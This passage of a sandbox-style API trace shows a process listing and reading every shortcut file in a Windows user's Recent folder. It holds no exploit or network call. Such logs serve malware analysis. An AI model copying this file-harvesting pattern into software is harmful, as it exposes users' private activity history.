pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk") returned 1 [0076.646] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk") returned 1 [0076.646] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk") returned 1 [0076.646] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ep5U.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk") returned 1 [0076.646] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk") returned 1 [0076.646] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk") returned 1 [0076.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ep5u.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.647] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x12af [0076.647] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0x12af, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0x12af, lpOverlapped=0x0) returned 1 [0076.647] CloseHandle (hObject=0x3f8) returned 1 [0076.648] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.648] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfe8100, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cfe8100, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cfe8100, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x0, cFileName="evs-mu2XZmDDq_3I.lnk", cAlternateFileName="EVS-MU~1.LNK")) returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ep5U.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk", len=0x5b | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\evs-mu2XZmDDq_3I.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk", len=0x5b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk") returned 1 [0076.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evs-mu2xzmddq_3i.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.648] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1464 [0076.648] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c610, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c610*, lpNumberOfBytesRead=0x18e2f8*=0x1464, lpOverlapped=0x0) returned 1 [0076.649] CloseHandle (hObject=0x3f8) returned 1 [0076.649] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.649] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc09d40, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cc09d40, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cc09d40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xf3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="E_wjAqxP.lnk", cAlternateFileName="")) returned 1 [0076.649] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\evs-mu2XZmDDq_3I.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk") returned 1 [0076.650] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk", len=0x54 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk") returned 1 [0076.650] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk") returned 1 [0076.650] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk", len=0x53 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk") returned 1 [0076.650] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\E_wjAqxP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk") returned 1 [0076.694] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk", len=0x53 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk") returned 1 [0076.694] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk") returned 1 [0076.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\e_wjaqxp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.694] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xf3a [0076.694] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c664, nNumberOfBytesToRead=0xf3a, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c664*, lpNumberOfBytesRead=0x18e2f8*=0xf3a, lpOverlapped=0x0) returned 1 [0076.695] CloseHandle (hObject=0x3f8) returned 1 [0076.695] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.695] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37a200, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d37a200, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d37a200, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6Te.lnk", cAlternateFileName="")) returned 1 [0076.695] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E_wjAqxP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk") returned 1 [0076.695] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk") returned 1 [0076.696] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk") returned 1 [0076.696] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk") returned 1 [0076.696] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\F6Te.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk") returned 1 [0076.696] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk") returned 1 [0076.696] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk") returned 1 [0076.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\f6te.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.696] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x228 [0076.696] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0x228, lpOverlapped=0x0) returned 1 [0076.697] CloseHandle (hObject=0x3f8) returned 1 [0076.697] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.697] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9477a0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d9477a0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d9477a0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="flxbNwcWgV0n4kR.flv.lnk", cAlternateFileName="FLXBNW~1.LNK")) returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F6Te.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk", len=0x5f | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk", len=0x5e | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\flxbNwcWgV0n4kR.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk", len=0x5e | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.697] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk") returned 1 [0076.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\flxbnwcwgv0n4kr.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.698] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa0f [0076.698] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c610, nNumberOfBytesToRead=0xa0f, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c610*, lpNumberOfBytesRead=0x18e2f8*=0xa0f, lpOverlapped=0x0) returned 1 [0076.698] CloseHandle (hObject=0x3f8) returned 1 [0076.699] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.699] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2ccfa0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e2ccfa0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e2ccfa0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fxlxn.lnk", cAlternateFileName="")) returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\flxbNwcWgV0n4kR.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk") returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk", len=0x51 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk") returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk") returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk", len=0x50 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk") returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Fxlxn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk") returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk", len=0x50 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk") returned 1 [0076.699] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk") returned 1 [0076.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fxlxn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.699] GetFileSize (in: 